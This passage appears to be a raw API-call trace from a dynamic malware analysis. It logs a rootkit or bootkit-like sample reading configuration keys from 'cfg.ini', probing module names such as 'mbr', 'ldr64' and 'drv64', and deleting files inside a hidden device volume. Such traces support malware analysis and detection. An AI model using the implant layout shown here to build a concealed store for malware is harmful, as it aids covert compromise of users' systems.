FastMutex=0xfffffa80027d3898) [0124.075] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.075] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.075] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.075] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.075] IdePortDispatch () returned 0x103 [0124.075] KeWaitForMutexObject () returned 0x0 [0124.075] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.075] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.075] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.075] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.075] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.075] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee870 [0124.075] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.075] KeLeaveCriticalRegion () [0124.075] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.076] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.076] KeEnterCriticalRegion () [0124.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.076] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.076] KeLeaveCriticalRegion () [0124.076] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.076] KeEnterCriticalRegion () [0124.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.076] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.076] IdePortDispatch () returned 0x103 [0124.076] KeWaitForMutexObject () returned 0x0 [0124.076] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.076] KeLeaveCriticalRegion () [0124.076] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.076] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.076] KeEnterCriticalRegion () [0124.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.076] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d7000 [0124.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.076] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.077] IdePortDispatch () returned 0x103 [0124.077] KeWaitForMutexObject () returned 0x0 [0124.077] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.077] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.077] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.077] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.077] IdePortDispatch () returned 0x103 [0124.077] KeWaitForMutexObject () returned 0x0 [0124.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.077] KeLeaveCriticalRegion () [0124.077] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.078] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.078] KeEnterCriticalRegion () [0124.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.078] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.078] KeLeaveCriticalRegion () [0124.078] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.078] KeEnterCriticalRegion () [0124.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.078] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.078] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.078] KeLeaveCriticalRegion () [0124.078] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.078] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.078] KeEnterCriticalRegion () [0124.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.078] ExFreePoolWithTag (P=0xfffffa8003bee870, Tag=0x0) [0124.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.078] KeLeaveCriticalRegion () [0124.078] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.078] ReleaseMutex (hMutex=0xf0) returned 1 [0124.078] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.078] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.078] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.078] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.078] KeEnterCriticalRegion () [0124.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.079] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.079] IdePortDispatch () returned 0x103 [0124.079] KeWaitForMutexObject () returned 0x0 [0124.080] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.080] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.080] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.080] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.080] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.080] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.080] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.080] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.080] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.080] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.080] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.080] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.080] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.080] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.080] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.080] KeLeaveCriticalRegion () [0124.080] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.080] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.080] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.080] KeEnterCriticalRegion () [0124.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.080] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.080] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.080] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.080] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.080] IdePortDispatch () returned 0x103 [0124.080] KeWaitForMutexObject () returned 0x0 [0124.080] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.081] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.081] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.081] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.081] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.081] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.081] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.081] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.081] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.081] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.081] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.081] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.081] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.081] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.081] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.081] KeLeaveCriticalRegion () [0124.081] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.081] ReleaseMutex (hMutex=0x100) returned 1 [0124.081] Sleep (dwMilliseconds=0x2bf20) [0124.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d279090, dwHighDateTime=0x1d24fa4)) [0124.089] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.089] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.089] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.089] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.089] KeEnterCriticalRegion () [0124.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.089] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.089] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.089] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.089] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.089] IdePortDispatch () returned 0x103 [0124.089] KeWaitForMutexObject () returned 0x0 [0124.089] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.089] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.089] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.090] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.090] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.090] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003befc10 [0124.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.090] KeLeaveCriticalRegion () [0124.090] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.090] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.090] KeEnterCriticalRegion () [0124.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.090] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.090] KeLeaveCriticalRegion () [0124.090] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.090] KeEnterCriticalRegion () [0124.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.090] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.090] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.090] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.090] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.090] IdePortDispatch () returned 0x103 [0124.090] KeWaitForMutexObject () returned 0x0 [0124.090] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.090] KeLeaveCriticalRegion () [0124.090] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.091] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.091] KeEnterCriticalRegion () [0124.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.091] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034da000 [0124.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.091] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.091] IdePortDispatch () returned 0x103 [0124.091] KeWaitForMutexObject () returned 0x0 [0124.091] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.091] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.091] IdePortDispatch () returned 0x103 [0124.091] KeWaitForMutexObject () returned 0x0 [0124.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.091] KeLeaveCriticalRegion () [0124.091] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.092] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.092] KeEnterCriticalRegion () [0124.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.092] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.092] KeLeaveCriticalRegion () [0124.092] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.092] KeEnterCriticalRegion () [0124.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.092] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.092] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befe70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.092] KeLeaveCriticalRegion () [0124.092] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.092] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.092] KeEnterCriticalRegion () [0124.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.092] ExFreePoolWithTag (P=0xfffffa8003befc10, Tag=0x0) [0124.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.092] KeLeaveCriticalRegion () [0124.092] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.092] ReleaseMutex (hMutex=0xf0) returned 1 [0124.093] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.093] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.093] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.093] KeEnterCriticalRegion () [0124.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.093] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.093] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.093] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.093] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.093] IdePortDispatch () returned 0x103 [0124.093] KeWaitForMutexObject () returned 0x0 [0124.093] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.093] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.093] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.093] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.093] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.093] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2460 [0124.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.093] KeLeaveCriticalRegion () [0124.093] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.093] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.093] KeEnterCriticalRegion () [0124.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.093] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.093] KeLeaveCriticalRegion () [0124.093] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.093] KeEnterCriticalRegion () [0124.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.094] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.094] IdePortDispatch () returned 0x103 [0124.094] KeWaitForMutexObject () returned 0x0 [0124.094] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.094] KeLeaveCriticalRegion () [0124.094] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.094] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.094] KeEnterCriticalRegion () [0124.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.094] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034db000 [0124.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.094] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.094] IdePortDispatch () returned 0x103 [0124.094] KeWaitForMutexObject () returned 0x0 [0124.094] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 